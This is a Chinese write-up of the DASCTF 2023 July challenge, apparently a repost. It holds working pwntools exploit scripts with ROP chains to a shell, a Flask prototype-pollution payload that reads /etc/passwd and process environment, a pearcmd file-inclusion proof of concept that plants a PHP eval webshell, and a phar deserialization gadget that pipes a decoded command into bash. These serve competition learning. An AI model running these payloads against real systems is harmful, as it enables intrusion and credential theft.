DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

admin 2023年7月25日10:07:16评论157 views字数 18296阅读60分59秒阅读模式
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

PWN

FileEditor

from pwn import *context.log_level="debug"#p=process("./pwn")p=remote("node4.buuoj.cn",28043)elf=ELF("./pwn")libc=elf.libc
p.recvuntil("> choose:")p.sendline(str(1))
p.recvuntil("> choose:")p.sendline(str(3))p.sendlineafter("> To insert m lines before line n, please enter n m:",str(1))p.sendline(str(1))payload=b"b"+b"a"*103p.sendlineafter("> Please enter the content to be inserted in sequence:",payload)
p.recvuntil("> choose:")p.sendline(str(3))p.sendlineafter("> To insert m lines before line n, please enter n m:",str(1))p.sendline(str(1))payload=b"b"+b"a"*103p.sendlineafter("> Please enter the content to be inserted in sequence:",payload)
p.recvuntil("> choose:")p.sendline(str(7))p.sendlineafter("> Please enter the string to search for:","b")p.sendlineafter("> Do you want to continue searching? (y/n)","n")
p.recvuntil("> choose:")p.sendline(str(6))p.sendlineafter("> Please enter the line number to be modified:","1")payload="b"+"a"*103p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")p.sendline(str(2))p.recvuntil("1:baaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")canary=u64(p.recv(8))-0xaprint(hex(canary))
p.recvuntil("> choose:")p.sendline(str(6))p.sendlineafter("> Please enter the line number to be modified:","1")payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")p.sendline(str(2))p.recvuntil("AAAAAAAA")pie_leak=u64(p.recv(6).ljust(8,b'x00'))-(0x55b41e93c50a-0x55b41e93b000)print(hex(pie_leak))
p.recvuntil("> choose:")p.sendline(str(6))p.sendlineafter("> Please enter the line number to be modified:","1")payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)*3+b"BBBBBBBB"p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")p.sendline(str(2))p.recvuntil("BBBBBBBB")heap_base=u64(p.recv(6).ljust(8,b'x00'))-(0x56112ef1820a-0x56112ef18000)print(hex(heap_base))
p.recvuntil("> choose:")p.sendline(str(6))p.sendlineafter("> Please enter the line number to be modified:","1")payload=b"b"+b"a"*103+p64(canary+0x10)+p64(0x4141414141414141)*3+b"BBBBBBBB"*3+b"CCCCCCCC"p.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")p.sendline(str(2))p.recvuntil("CCCCCCCC")libc_base=u64(p.recv(6).ljust(8,b'x00'))-(0x7fcf5ac6c00a-0x7fcf5ac48000)print(hex(libc_base))
rop=b""pop_rdi=pie_leak+0x0000000000002ac3pop_rsi_r15=pie_leak+0x0000000000002ac1ret=0x2351+pie_leakrop+=p64(ret)+p64(pop_rdi)+p64(0x16b4+heap_base)+p64(libc_base+libc.sym['system'])
p.recvuntil("> choose:")p.sendline(str(6))p.sendlineafter("> Please enter the line number to be modified:","1")payload=b"b"+b"a"*(103-8)+b"/bin/shx00"+p64(canary)+p64(0)+ropp.sendlineafter("> Please enter the new content:",payload)
p.recvuntil("> choose:")p.sendline(str(7))p.sendlineafter("> Please enter the string to search for:","b")p.sendlineafter("> Do you want to continue searching? (y/n)","n")  
p.interactive()

VIPhouse

login()函数存在栈溢出漏洞。

unsigned __int64 login(){  char s[100]; // [rsp+0h] [rbp-2A0h] BYREF  int v2; // [rsp+64h] [rbp-23Ch] BYREF  char v3[64]; // [rsp+258h] [rbp-48h] BYREF  unsigned __int64 v4; // [rsp+298h] [rbp-8h]
 v4 = __readfsqword(0x28u);  memset(&v2, 0, 0x1F4uLL);  memset(v3, 0, sizeof(v3));  memset(s, 0, sizeof(s));  printf("Please enter your username: ");  readn((__int64)s, 99);  printf("Please enter your password: ");  // .text:0000000000401A46 E8 9F FC FF FF                call    readn  readn((__int64)v3, 104);                      // stack overflow  if ( !strcmp(s, "admin") && !strcmp(v3, "root") )  {    puts("Welcome, ADMIN~");    auth = 1;  }  dword_404114 = 1;  return v4 - __readfsqword(0x28u);}

leak()函数中strcpy存在0字节截断情况

这种情况下s的值为

可以对随机数进行爆破,概率为1/256。

unsigned __int64 leak(){  char s[8]; // [rsp+0h] [rbp-30h] BYREF  char v2[16]; // [rsp+8h] [rbp-28h] BYREF  int i; // [rsp+18h] [rbp-18h]  unsigned __int64 v4; // [rsp+28h] [rbp-8h]
 v4 = __readfsqword(0x28u);  memset(s, 0, sizeof(s));  memset(v2, 0, sizeof(v2));  // .text:00000000004014D9 E8 C2 FC FF FF                call    _strcpy  strcpy(s, random_key_8);  puts("Please input the number you guess: ");  readn(v2, 16LL);  for ( i = 0; i <= 7; ++i )  {    if ( v2[i] != s[i] )    {      printf("Wrong input: %sn", v2);      puts("You can't do anything!");      return v4 - __readfsqword(0x28u);    }  }  if ( auth )  {    printf("I'll give you a gift!");    sub_4015A7();  }  return v4 - __readfsqword(0x28u);}

利用脚本

#!/usr/bin/env python3# -*- coding:utf-8 -*-
from pwn import *context.clear(arch='amd64', os='linux', log_level='info')
while(True):    sh = remote('124.223.159.125', 9999)    sh.sendlineafter(b': ', b'1')    sh.sendlineafter(b': ', b'admin0')    sh.sendlineafter(b': ', b'root0')    sh.sendlineafter(b': ', b'4')    sh.sendafter(b': n', b'0' * 0x10)    result = sh.recvuntil(b'n')    if b'give you a gif' in result:        break    else:        sh.close()
canary = int(result.split(b'!')[1], 16)success('canary: ' + hex(canary))
sh.sendlineafter(b': ', b'5')sh.sendlineafter(b': ', b'1')sh.sendlineafter(b': ', b'admin0')sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([    0x404128+0x2a0,    0x401991,]))sh.sendlineafter(b': ', p64(0x404048))sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([    0x4043d8,    0x4017F2,
   0x404f00,    0x401991,])[:99])sh.send(p64(0x4011B0))
sh.sendlineafter(b': ', b'admin0')sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([    0x404128+0x2a0,    0x401991,]))
sh.sendlineafter(b': ', p64(0x404038))sh.sendafter(b': ', cyclic(64) + p64(canary) + flat([    0x4043d8,    0x4017F2,
   0x404f00,    0x401991,])[:99])sh.send(p64(0x000000000040139d))
sh.sendlineafter(b': ', flat([    0x404060+0xe,    0x4015D0,    0x401982,]))sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([    0x404c60,    0x000000000040147b,]))sh.recvuntil(b'n')libc_addr = u64(sh.recvn(6) + b'00') - 0x114980success('libc_addr: ' + hex(libc_addr))
sh.sendlineafter(b': ', flat([    0,    0x000000000040101a,    libc_addr + 0x000000000002a3e5,    libc_addr + 0x1d8698,    libc_addr + 0x50d60,]))sh.sendlineafter(b': ', cyclic(64) + p64(canary) + flat([    0x4049d0,    0x000000000040147b,])[:99])
sh.sendline(b'cat flag')sh.sendline(b'cat flag.txt')sh.sendline(b'cat /flag')sh.sendline(b'cat /flag.txt')
sh.interactive()
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

RE

controlflow

程序通过改变栈里面的返回地址来控制程序的控制流 

从而达到混淆的效果

左侧有许多被hook的函数

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

在每个函数开头设置断点 

然后观察程序的运行流程

会发现输入的数据会进行

异或 相加 异或 相减  相乘 异或等操作

要注意部分运算的索引是 从[10]开始的

理清流程后写脚本解密

print("a"*40)enc=[0x00000CCF, 0x00000CC0, 0x00000CFC, 0x00000CD8, 0x00000D23, 0x00000D11, 0x00000DC8, 0x00000D7D,
   0x00000DAA, 0x00000E2B, 0x00000E7C, 0x00000E5B, 0x00000EA9, 0x00000ECA, 0x00000F5A, 0x00000F5A,
   0x00000FB1, 0x0000104D, 0x00001095, 0x0000117C, 0x0000137D, 0x000012F3, 0x0000142E, 0x0000141C,
   0x00001233, 0x00001287, 0x000011F4, 0x00001758, 0x00001461, 0x0000122A, 0x00001782, 0x000017F7,
   0x00001911, 0x0000194D, 0x00001A10, 0x00001AEB, 0x00001B90, 0x00001CE6, 0x00001DE2, 0x00001ED2]
from z3 import *
input =[BitVec('input[%d]'%i,8) for i in range(40)]
buf = [0]*40
what = [0]*40
for index in range(40):
   buf[index] = input[index];
   buf[index] ^= 0x401;
for index in range(40):
   buf[index] += index * index;
for index in range(20):
   buf[index+10] ^= index * (index + 1);
   
for index in range(40):
   buf[index] -= index
for index in range(40):
   buf[index] *= 3
     
for i in range(0,20,2):
   buf[i+10] ^= buf[i+10 + 1]
   buf[i +10+ 1] ^= buf[i+10]
   buf[i+10] ^= buf[i+10 + 1]
S = Solver()
for i in range(40):
   #S.add(input[i]>32 ,input[i]<128)
   S.add(enc[i]==buf[i])
S.check()
ans = S.model()
print(ans)
for i in input:
   print(chr(ans[i].as_long()),end='')

TCP

程序类似于一个远控的木马 

对于控制端发来的数据进行解密

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

而程序开头是一个RSA公钥加密体系传递密钥的方法

木马端口会在本地生成一个随机的密钥流 

然后将密钥流8个为一组进行rsa加密

然后发送给控制端

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

而公钥就是开始的时候控制端发送给用户的

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

所以需要根据公钥 以及发送的密文

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

求出随机密钥流

求出来后 

控制端发送的所有数据都会用这个密钥流进行解密

由于公钥的N很小 所有可以使用yafu分解

p = 1152921504606848051q = 2152921504606847269n = 0x1DE0B6B3A76408FC69F3467E8F0CE5Fc =  0x18A9F6A710996596AC28CDDEC32CD15e = 0x10001

分解成功后就可以还原出密钥流

import gmpy2d = gmpy2.invert(e,(p-1)*(q-1))m = pow(c,d,n)print(hex(m))#send0="4e74dc13cbf4fb89ced341f9cf7557010bb5e0b4327298731ca3bb82793b1300153ff0e5da7c78feeefd9b0d020cd100c5a674a453ca4ea4df4bfa9a71543801aa20e631adb6a41396ba9f049dddbf013d86befa3d4356d751d05545e525cd01"c_list = [send0[i:i+32] for i in range(0,192,32)]print(c_list)for c in c_list:    m = pow(int(hex2long(c),16),d,n)    print(hex(m)[2:].rjust(16,'0'),end='')print()

得到密钥流后 patch程序的ip地址为本地地址 

然后写一个tcp连接脚本发送相关的数据

import socketfrom time import sleepHOST = '192.168.48.129'  # 监听的IP地址PORT = 8787  # 监听的端口号token = bytes.fromhex("5fcef0e867349fc68f40763a6b0bde0101000100000000000000000000000000")#token = bytes.fromhex("0500000000000000070000000000000001000100000000000000000000000000")exit_code=bytes.fromhex("fedb847213cb56c17919fb2dfedb847211cb56c17a19fb2dfedb8472")#0000000000000005rev1="16cb56c17a19fb2ddcdb8472"rev2="..."# 创建一个TCP socket对象server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)# 绑定IP地址和端口号try:    server_socket.bind((HOST, PORT))except:    pass# 开始监听,最多允许5个客户端同时连接server_socket.listen(5)print('服务器已启动,等待客户端连接...')# 等待客户端连接client_socket, address = server_socket.accept()print(f'客户端 {address} 已连接')client_socket.send(token)# 接收客户端发送的数据data = client_socket.recv(96)print(data.hex())sleep(1)client_socket.send(bytes.fromhex(rev1))sleep(1)client_socket.send(bytes.fromhex(rev2))x = input()client_socket.send(exit_code)client_socket.close()

然后在程序运行时要patch 正确的密钥流

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

然后程序就会正常运行 输入字符串后

程序之后会发送一段shellcode 

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

然后开始分析shellcode 

里面是一个xor运算和加法运算以及对比

使用z3解密就可以

print("a"*40)xor_data=[573039729,2068632159,717331137,414644186,1516244569,2049100619,919112253,1370927258,1688461485,296739023,30793144,1104738571,1002227152,81432113,1583269909,2054573166,783479577,1266338844,1034668673,558606273,547807190,256263039,2127993122,914948610,488709921,1073398434,406513062,848785440,822400703,2034231719,1267232298,1395440271,1955380325,1984563338,1810084552,1324141149,1886180468,581713252,547584857,1427158147,]add_data=[573039818,2068632210,717331147,414644232,1516244602,2049100644,919112317,1370927342,1688461551,296739105,30793160,1104738645,1002227208,81432201,1583269946,2054573218,783479602,1266338941,1034668710,558606359,547807239,256263047,2127993196,914948641,488709930,1073398455,406513083,848785517,822400741,2034231768,1267232363,1395440350,1955380377,1984563413,1810084630,1324141186,1886180521,581713294,547584879,1427158166,]add_number = [i - j for i,j in zip(add_data,xor_data)]xor_number = [i^ord('a') for i in xor_data]high=[0x2227,0x7b4c,0x2ac1,0x18b6,0x5a60,0x7a22,0x36c8,0x51b6,0x64a3,0x11af,0x1d5,0x41d8,0x3bbc,0x4da,0x5e5e,0x7a76,0x2eb2,0x4b7a,0x3dab,0x214b,0x20a6,0xf46,0x7ed6,0x3689,0x1d21,0x3ffa,0x183a,0x3297,0x3104,0x793f,0x4b88,0x532c,0x748c,0x764a,0x6be3,0x4eec,0x706c,0x22ac,0x20a3,0x5510,]low =[0xe4ad,0xd2b2,0x9afd,0xf826,0xe8d,0xcb85,0x8a67,0xb122,0xe100,0xe133,0xdd9f,0xf9a9,0xc5bf,0x8eba,0xc863,0x4c6e,0xf33a,0xcca9,0xcab5,0xa82b,0xdfcd,0x4333,0x996c,0x22d,0x1f37,0xc30a,0xe5b2,0x7081,0xd6ce,0xea25,0x6e4a,0xbb2a,0xbc99,0x903,0xb316,0xca2e,0xd48e,0x3d96,0x7b5f,0xb4b2,]enc= [(i<<16)+j for i,j in zip(high,low)]print(hex(enc[0]))from z3 import *input = [BitVec("input[%d]"%i,8) for i in range(40)]for i in range(40):    input[i]^=xor_number[i]    input[i]+=add_number[i]S = Solver()for i in range(40):    S.add(input[i] == enc[i])S.check()ans = S.model()print(ans)input[26] = 90input[0] = 68input[2] = 83input[16] = 89input[18] = 112input[20] = 43input[23] = 109input[13] = 50input[5] = 70input[4] = 84input[15] = 53input[1] = 65input[21] = 53input[27] = 117input[30] = 66input[32] = 97input[31] = 53input[34] = 97input[37] = 105input[7] = 53input[8] = 114input[9] = 79input[24] = 110input[25] = 54input[38] = 113input[11] = 53input[14] = 74input[28] = 118input[6] = 123input[29] = 50input[19] = 117input[17] = 53input[36] = 76input[12] = 54input[33] = 83input[10] = 86input[39] = 125input[35] = 53input[22] = 97input[3] = 67for i in input:    print(chr(i),end='')

得到flag

WEB

EzFlask

看源码,有注册和登入两个路由

def merge(src, dst):    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)

Python的原型链污染

看到index下的读取__file__

直接用原型链污染去覆盖

@app.route('/',methods=['GET'])def index():    return open(__file__, "r").read()

尝试unicode绕过__init__

{  "username":"admin",  "password":"123456",  "u005Fu005Fu0069u006Eu0069u0074u005Fu005F":{      "__globals":{            "__file__":"../../../etc/passwd"     }    }  }}

刷新首页,成功回显:

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

找环境变量

{  "username":"admin",  "password":"123456",  "u005Fu005Fu0069u006Eu0069u0074u005Fu005F":{      "__globals":{            "__file__":"../../../proc/1/environ"     }    }  }}

读取flag

ez_cms

熊海cms

后台文件包含漏洞,弱口令登入后台

pearcmd文件包含

admin/123456

poc:

+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/1.php
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

蚁剑链接,根目录flag

http://target/admin/index.php?r=../../../../../../../../tmp/1

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

MyPicDisk

随便试了个payload,发现直接就能登录跳转

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

跟进跳转包,发现注释里面藏了东西

下载到本地得到源码

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

源码部分有三处关键点,这里都给标注出来了

1. 文件上传处对文件名有类型校验

2. FILE这个类里存在命令拼接可以进行RCE,但对拼接参数存在黑名单校验

3. 当传入的todo参数为md5时,会调用md5_file 函数

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

很自然的就能想到通过md5_file作为phar反序列化的入口来打

而对于FILE里对于filename参数的黑名单

这里采用base64编码+输出流重定向绕过

(之后就是再注意一下,由于我们的登录账户不是admin,每执行一次操作,session就会被销毁一次,所以在每次操作之前,都要记得把登录的包重新发一遍,重置session)

用来生成phar包的脚本如下

生成之后把后缀改成jpg上传即可

<?phpclass FILE{    public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";    public $lasttime;    public $size;    public function remove(){        unlink($this->filename);    }    public function show(){        echo "Filename: ". $this->filename. "  Last Modified Time: ".$this->lasttime. "  Filesize: ".$this->size."<br>";    }}
#获取phar包$phar = new Phar("abc.phar");$phar->startBuffering();$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new FILE();$phar->setMetadata($o);$phar->addFromString("test.txt", "test");$phar->stopBuffering();?>

相关操作的数据包如下

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

最后得到flag

CRYPTO

ezDHKE

构造p-1光滑数,离散对数解决DH问题

AES解密得到flag

# SageMathfrom Pwn4Sage.pwn import *from hashlib import sha256from Crypto.Cipher import AESfrom Crypto.Util.number import *
def gen_primes(nbit, imbalance):    """    :param nbit: 最终光滑数比特数    :param imbalance: 最小单位比特数    :return: 比特数    """    p = int(2)    FACTORS =

   while p.bit_length() < nbit - 2 * imbalance:        factor = getPrime(imbalance)        FACTORS.append(factor)        p *= factor    rbit = (nbit - p.bit_length()) // 2
   while True:        r, s = [getPrime(rbit) for _ in '01']        _p = p * r * s        if _p.bit_length() < nbit: rbit += 1        if _p.bit_length() > nbit: rbit -= 1        if isPrime(_p + 1):            FACTORS.extend((r, s))            p = _p + 1            break
   FACTORS.sort()    return (p, FACTORS)p = 1while int(p).bit_length() != 1024:    p = gen_primes(1024, 16)[0]print('p =', p)
sh = remote(,)sh.recv(1024)sh.sendline(str(p).encode())alice_c, bob_c = [int(i) for i in sh.recvline().split(b' ') if i]enc = eval(sh.recvline())print(alice_c, bob_c)print(enc)
g = 2alice = int(discrete_log(Mod(alice_c,p),Mod(g,p)))key = sha256(long_to_bytes(int(pow(bob_c, alice, p)))).digest()iv = b"dasctfdasctfdasc"aes = AES.new(key, AES.MODE_CBC, iv)flag = aes.decrypt(enc)print(flag)

ezRSA

深搜得P、Q,后rsa解出n

import sysimport gmpy2from Crypto.Util.number import *from factordb.factordb import FactorDB
sys.setrecursionlimit(5000)
e = 11D1 = '75000029602085996700582008490482326525611947919932949726582734167668021800854674616074297109962078048435714672088452939300776268788888016125632084529419230038436738761550906906671010312930801751000022200360857089338231002088730471277277319253053479367509575754258003761447489654232217266317081318035524086377 8006730615575401350470175601463518481685396114003290299131469001242636369747855817476589805833427855228149768949773065563676033514362512835553274555294034 14183763184495367653522884147951054630177015952745593358354098952173965560488104213517563098676028516541915855754066719475487503348914181674929072472238449853082118064823835322313680705889432313419976738694317594843046001448855575986413338142129464525633835911168202553914150009081557835620953018542067857943'D2 = '69307306970629523181683439240748426263979206546157895088924929426911355406769672385984829784804673821643976780928024209092360092670457978154309402591145689825571209515868435608753923870043647892816574684663993415796465074027369407799009929334083395577490711236614662941070610575313972839165233651342137645009 46997465834324781573963709865566777091686340553483507705539161842460528999282057880362259416654012854237739527277448599755805614622531827257136959664035098209206110290879482726083191005164961200125296999449598766201435057091624225218351537278712880859703730566080874333989361396420522357001928540408351500991'N, gift, c1 = [int(i) for i in D1.split()]c2, c3 = [int(i) for i in D2.split()]
def findp(p, q):    if len(p) == 512:        pp = int(p, 2)        if N % pp == 0:            print(pp)            print(N // pp)    else:        l = len(p)        pp = int(p, 2)        qq = int(q, 2)        if (pp ^ (qq >> 16)) % (2 ** l) == gift % (2 ** l) and pp * qq % (2 ** l) == N % (2 ** l):            findp('1' + p, '1' + q)            findp('1' + p, '0' + q)            findp('0' + p, '1' + q)            findp('0' + p, '0' + q)

# for q_low in range(2 ** 17):#     findp('1', bin(q_low)[2:])
P = 8006847171912577069085166877758626954304824756138758266557706391662987806065132448544117840031499707938227955094109779732609035310252723066470330862622641Q = 9366986529377069783394625848920106951220134111548343265311677163992169555436421569730703291128771472885865288798344038000984911921843088200997725324682297n = pow(c1, gmpy2.invert(e, (P-1)*(Q-1)), N)n += Nprint('n =', n)print('e =', e)print('c2 =', c2)print('c3 =', c3)

明文线性攻击得到flag

# sagefrom Crypto.Util.number import *
n = 83410392685813224685786027640778560521035854332627839979281105731457044069408118952629284089869335506983096270269822559619624906180108256504440296527471536363057103101146262613593336072556587341466840510200003498265457285439149541137127199088938421905041387224795918868443175561632999479925818053898100117419e = 11c2 = 69307306970629523181683439240748426263979206546157895088924929426911355406769672385984829784804673821643976780928024209092360092670457978154309402591145689825571209515868435608753923870043647892816574684663993415796465074027369407799009929334083395577490711236614662941070610575313972839165233651342137645009c3 = 46997465834324781573963709865566777091686340553483507705539161842460528999282057880362259416654012854237739527277448599755805614622531827257136959664035098209206110290879482726083191005164961200125296999449598766201435057091624225218351537278712880859703730566080874333989361396420522357001928540408351500991
import libnumdef attack(c1, c2, n, e, mbit):    PR.<x>=PolynomialRing(Zmod(n))    g1 = (x)^e - c1    g2 = (bytes_to_long(b"dasctf{")*2^(mbit+8) + x*2^8 + bytes_to_long(b"}"))^e - c2
   def gcd(g1, g2):        while g2:            g1, g2 = g2, g1 % g2        return g1.monic()    return -gcd(g1, g2)[0]for mbit in range(93, 400):    try:        m = attack(c2, c3, n, e, mbit)        flag = libnum.n2s(int(m)).decode()        print(f"dasctf{{{flag}}}")  # dasctf{C0pper_Sm1th_Mak3s_T1ng5_Bet4er}        break    except:        continue

MISC

签到题

签到

ezFAT32

010打开img文件

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

得到压缩包密码的hint,去提取一下bmp文件

刚开始还是手动提取的

还迷惑提取的精确度,搞忘掉了是取证题

R-studio 可以梭出来

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

bmp文件 计算一下sha256

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

拿到密码

1bec3826d44f706d33e8cc4bc230d3113d0198261ff1cd251294dbdebabb0af5

打开flag就可

Coffee desu!

尝试了POST方法后 报错 并且给了几个方法

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

去搜这个报错

https://datatracker.ietf.org/doc/html/rfc2324

对应上了

You should add the milktea before getting the coffee!

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

题目要求加milktea

就加一个请求头

Accept-Additions: milktea
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

添加后GET访问即可

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
DASCTF 2023 & 0X401七月暑期挑战赛 Writeup

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年7月25日10:07:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DASCTF 2023 & 0X401七月暑期挑战赛 Writeuphttps://cn-sec.com/archives/1903837.html

发表评论

匿名网友 填写信息